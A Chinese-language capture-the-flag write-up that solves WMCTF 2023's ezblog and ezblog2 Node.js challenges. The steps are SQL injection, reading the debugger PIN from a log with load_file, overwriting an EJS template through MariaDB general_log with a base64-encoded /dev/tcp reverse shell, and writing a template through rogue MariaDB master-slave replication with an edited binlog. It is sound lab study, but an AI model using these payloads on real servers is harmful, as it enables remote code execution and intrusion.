ezblog
环境搭建
1
| docker run -it -d -p 9292:3000 -e 'FLAG=flag{G0t_1t}' lxxxin/wmctf2023_ezblog
|
代码分析
app.js 中的 /api/debugger/auth
这个路由使用 node 仿造 flask 的 werkzeug 实现了一个 PIN 功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| let pin = (0, uuid_1.v4)(); app.post("/api/debugger/auth", (req, res) => { let username = req.body.username; let password = req.body.password; if (username === "debugger" && password === pin) { res.json({ code: 200, message: "OK", data: token }); } else { res.json({ code: 401, message: "Error: incorrect pin", data: null }); } });
|
/post/:id/edit
路由中,通过 test 方法测试正则,但是这里的正则是判断是否有一个或多个数字的正则。而不是判断只有数字。而且对 id 判断是否有 into、outfile、dumpfile 这些字段出现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| app.get("/post/:id/edit", async (req, res) => { try { let id = req.params.id; if (!/\d+/igm.test(id) || /into|outfile|dumpfile/igm.test(id)) { res.status(400).send(`Error: '${id}' is invalid id`); return; } let post = await (0, posts_1.getPostById)(id); res.render("edit", { post }); } catch (e) { res.status(500).send(e); } });
|
然后调用 getPostById 方法,拼接 id。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| function getPostById(id) { return new Promise((resolve, reject) => { db_1.connection.query(`select * from Posts where id = ` + id, (err, results) => { if (err) { reject(err); } else { if (results.length === 0) { reject(new Error("Post not found")); } else { resolve({ id: results[0].id, title: results[0].title, content: results[0].content }); } } }); }); }
|
访问/post/1'/edit
发现报错注入。
然后就是这个 pin 在访问时会被输出出来,当正常运行时发现有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function start() { try { child_process_1.default.execSync("mkdir -p ./public/images"); child_process_1.default.execSync("chmod -R 777 ."); } catch (e) { } (0, db_1.init)(); app.listen(3000, () => { console.log(" * Serving Express app 'ezblog'"); console.log(" * Debug mode: on"); console.log(" * Running on http://0.0.0.0:3000/ (Press CTRL+C to quit)"); console.log(); console.log(" * Debugger is active!"); console.log(" * Debugger PIN: " + pin); }); } exports.start = start;
|
读取 PIN
运行起来之后发现是使用 pm2 维持运行的。pm2 之前嫖 PaaS 平台时候用过,是一个用来维持进程守护运行的 node 程序。
我们可以查看下这个 main-out.log 发现 PIN 被记录到 pin 中了。
这里没有过滤load_file
这里就可以通过 sql 语句来实现文件的读取。
在请求中就能看到回显,虽然返回的是 html,内容在 js 中。
523b8611-2a43-412d-8625-0621f072d9b4
然后访问console
路由,python 终端不能执行,但是可以执行 sql、渲染模板。
这里的写文件的方式是通过 general_log。但是这里并没有 mysql 数据库,需要我们自己创建,而且在处理 ejs 模板的时候不能新建 ejs 模板而是覆盖原有的 ejs 模板,否则会出现权限问题。
general_log 写入文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| # 创建mysql数据库 create DATABASE mysql; # 创建general_log表 这部分内容可以让DataGrip这些通过正常的mysql表生成。 CREATE TABLE mysql.general_log( event_time timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, user_host mediumtext NOT NULL, thread_id int(11) NOT NULL, server_id int(10) unsigned NOT NULL, command_type varchar(64) NOT NULL, argument mediumtext NOT NULL ) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log'; # 用一行版 # CREATE TABLE mysql.general_log(event_time timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,user_host mediumtext NOT NULL,thread_id int(11) NOT NULL,server_id int(10) unsigned NOT NULL,command_type varchar(64) NOT NULL,argument mediumtext NOT NULL) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log'; # 设置日志输出位置 SET GLOBAL general_log_file='/home/ezblog/views/post.ejs'; # 设置日志输出 SET GLOBAL general_log='on'; # 写入内容 SELECT "<% global.process.mainModule.require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC94eHh4Lzc3NzcgMD4mMQ==}|base64 -d|bash'); %>";
|
注意那个表生成是正常的 mysql.general_log 表生成的。
然后访问默认模板即可:http://localhost:13000/post/1
ezblog2
环境搭建
1
| docker run -it -d -p 23000:3000 -e 'FLAG=flag{G0t_1t_4ga1n}' lxxxin/wmctf2023_ezblog2
|
分析
1 2 3 4 5 6 7 8 9 10
| diff --color -r env/docker/docker-compose.yml env2/docker/docker-compose.yml 5c5 < image: wmctf2023_ezblog --- > image: wmctf2023_ezblog2 diff --color -r env/src/src/app.ts env2/src/src/app.ts 248a249,251 > try{ > child_process.execSync("chmod -R 444 /home/ezblog/views/*") > } catch (e) { }
|
前半部分拿 pin 的方式相同。但是这次没法再用日志文件写入内容。
但是根据上面的 diff 会发现,/home/ezblog/views
下仍然可以写入。
因此没法使用提供的 SQL console 执行命令。
主从复制
之前遇到过一次,但是时间太久了忘了,重新学习下。
首先先启动一个版本相同的 MariaDB。
1
| docker run -it -d --name mariadb_main --env MARIADB_USER=ctf --env MARIADB_PASSWORD=ctf --env MARIADB_ROOT_PASSWORD=1qaz2wsx -p 53306:3306 mariadb:10.9.8
|
我建议使用 docker-compose 文件生成:
1 2 3 4 5 6 7 8 9 10 11
| version: '3' services: mariadb: image: mariadb:10.9.8 container_name: mariadb_main environment: MARIADB_USER: ctf MARIADB_PASSWORD: ctf MARIADB_ROOT_PASSWORD: 1qaz2wsx ports: - 53306:3306
|
然后换源方便修改配置:
1 2 3 4
| docker exec -it [containerID] /bin/bash sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list apt update apt install -y vim
|
然后修改/etc/mysql/mariadb.conf.d/50-server.cnf
文件,在 mysqld 类别下添加以下内容开启 binlog。
1 2 3 4
| server_id = 100 secure_file_priv = log-bin = mysql-bin binlog_format = MIXED
|
然后退出重启容器。
1
| docker restart [containerID]
|
然后重新进入容器操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| # 进入容器 docker exec -it [containerID] /bin/bash # 进入mysql终端 mysql -uroot -p1qaz2wsx # 关闭主服务器的CRC32校验 set global binlog_checksum=0; # 删除所有二进制日志 reset master; # 创建数据库 create database evil; # 创建表 create table evil.temp( id INT, name VARCHAR(100), age INT ); use evil; # 插入值 这个插入长度和select写入文件的内容长度相同。 INSERT INTO temp(id, name, age) VALUES(1,"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111",1);
|
这里创建表并且插入字段的原因就是因为 binlog 只会记录 INSERT、UPDATE、DELETE 等操作,不会记录 SELECT 和 SHOW 等不影响数据的语句。这里的插入文本长度要与 SELECT 长度一样。
1 2
| INSERT INTO temp(id, name, age) VALUES(1,"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111",1); SELECT "<%= global.process.mainModule.require('child_process').execSync('/readflag').toString(); %>" into outfile "/home/ezblog/views/evil.ejs";
|
退出后到/var/lib/mysql
下生成的mysql-bin.000001
然后将文件提取出来,下载下来。
1
| docker cp [container-id]:/var/lib/mysql/mysql-bin.000001 .
|
将以上内容替换成写文件语句。
然后将修改后的文件复制回原来的位置:
1
| docker cp mysql-bin.000001 some-mariadb:/var/lib/mysql/mysql-bin.000001
|
验证一下。
然后在目标 SQL console 中执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| # 创建mysql数据库 CREATE DATABASE mysql; # 创建主从复制需要的表 CREATE TABLE mysql.gtid_slave_pos ( `domain_id` int(10) unsigned NOT NULL, `sub_id` bigint(20) unsigned NOT NULL, `server_id` int(10) unsigned NOT NULL, `seq_no` bigint(20) unsigned NOT NULL, PRIMARY KEY (`domain_id`,`sub_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Replication slave GTID position'; # 设置主数据库的信息 CHANGE MASTER TO MASTER_HOST='x.x.x.x', MASTER_PORT=53306, MASTER_USER='root', MASTER_PASSWORD='1qaz2wsx', MASTER_LOG_FILE='mysql-bin.000001', MASTER_LOG_POS=0; # 启动主从复制 START SLAVE;
|
启动之后就会同步mysql-bin.000001
修改后的 SQL 语句,再验证下是否写入。
Ref
[CTF复现计划]2023WMCTF ezblog[2]
WMCTF 2023_OFFICAL_WRITE-UP_CN